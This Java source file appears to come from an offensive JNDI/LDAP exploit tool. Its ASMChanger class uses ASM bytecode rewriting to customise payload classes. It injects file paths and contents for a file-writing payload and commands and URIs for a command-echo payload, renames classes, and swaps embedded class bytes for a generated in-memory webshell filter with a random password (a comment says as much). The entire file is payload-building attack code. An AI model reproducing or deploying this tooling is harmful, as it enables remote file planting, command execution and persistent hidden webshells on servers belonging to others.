content: package com.feihong.ldap.utils;
  
  
  import com.feihong.ldap.enumtypes.MyDIYType;
  import com.feihong.ldap.template.FilterASM;
  import org.apache.commons.lang3.StringUtils;
  import org.objectweb.asm.*;
  import java.io.FileOutputStream;
  import java.util.Random;
  
  import static org.objectweb.asm.Opcodes.ASM6;
  public class ASMChanger {
      public static class ModifyAccessVisitor extends ClassVisitor {
          public String Classname;
          private String Path;
          private String Content;
          private MyDIYType Template2Int;
          public ModifyAccessVisitor(int i, ClassVisitor classVisitor, MyDIYType Template2Int, String ClassName, String Path, String Content) {
              super(i, classVisitor);
              Classname = ClassName;
              this.Path = Path;
              this.Content = Content;
              this.Template2Int = Template2Int;
          }
  
          @Override
          public FieldVisitor visitField(int access, String name, String descriptor, String signature, Object value) {
              switch(Template2Int){
                  case PutFile:
                      if (StringUtils.equals(name,"Contentbase64"))
                          return super.visitField(access, name, descriptor, signature, Content);
                      if (StringUtils.equals(name,"Path"))
                          return super.visitField(access, name, descriptor, signature, Path);
                      break;
                  case commandecho:
                      if (StringUtils.equals(name,"cmd"))
                          return super.visitField(access, name, descriptor, signature, Content);
                      if (StringUtils.equals(name,"uri"))
                          return super.visitField(access, name, descriptor, signature, Path);
                      break;
              }
              return super.visitField(access, name, descriptor, signature, value);
          }
          @Override
          public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) {
              if (Classname.equals("")){
                  MethodVisitor methodVisitor = super.visitMethod(access,name,descriptor,signature,exceptions);
                  if (name.equals("<init>")){
                      MyMethodVisitor visitor = new MyMethodVisitor(api,methodVisitor,"",Content) {
                      };
                      methodVisitor.visitCode();
                      return visitor;
                  }
                  return methodVisitor;
              }
              MyMethodVisitor mv2 = new MyMethodVisitor(ASM6,super.visitMethod(access,name,descriptor,signature,exceptions),Classname,"");
              return mv2;
          }
          @Override
          public void visitInnerClass(String name, String outerName, String innerName, int access) {
              super.visitInnerClass(name,outerName,innerName,access);
          }
          @Override
          public void visit(int version, int access, String name, String signature, String superName, String[] interfaces) {
              if (Classname.equals("")){
                  super.visit(version,access,name,signature,superName,interfaces);
              }else {
                  //Change Class Name
                  super.visit(version,access,Classname,signature,superName,interfaces);
              }
          }
      }
      public static class MyMethodVisitor extends MethodVisitor {
          private String Classname;
          private String Content;
          public MyMethodVisitor(int i, MethodVisitor methodVisitor,String Classname,String Content) {
              super(i, methodVisitor);
              this.Classname = Classname;
              this.Content = Content;
          }
          @Override
          public void visitFieldInsn(int opcode, String owner, String name, String descriptor) {
              if (Classname.equals("")){
                  super.visitFieldInsn(opcode,owner,name,descriptor);
              }else {
                  super.visitFieldInsn(opcode,Classname,name,descriptor);
              }
          }
          @Override
          public void visitLdcInsn(Object value){
              /*
               * 实现内存马密码自定义
               * */
              if (value.toString().startsWith("yv66vgAAA")){
                  String str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
                  Random random1=new Random();
                  //指定字符串长度，拼接字符并toString
                  StringBuffer sb=new StringBuffer();
                  for (int i = 0; i < 6; i++) {
                      //获取指定长度的字符串中任意一个字符的索引值
                      int number=random1.nextInt(str.length());
                      //根据索引值获取对应的字符
                      char charAt = str.charAt(number);
                      sb.append(charAt);
                  }
  
                  byte[] bytes = FilterASM.Filter(sb.toString(),Content);
                  try {
                      FileOutputStream file = new FileOutputStream("DynamicFilterTemplate.class");
                      file.write(bytes);
                      file.close();
                  }catch (Exception e){
                  }
                  try {
                      String classcode = Util.base64Encode(bytes);
                      super.visitLdcInsn(classcode);
                  } catch (Exception e) {
                      e.printStackTrace();
                  }
              }else {
                  super.visitLdcInsn(value);
              }
  
          }
      }
  }
  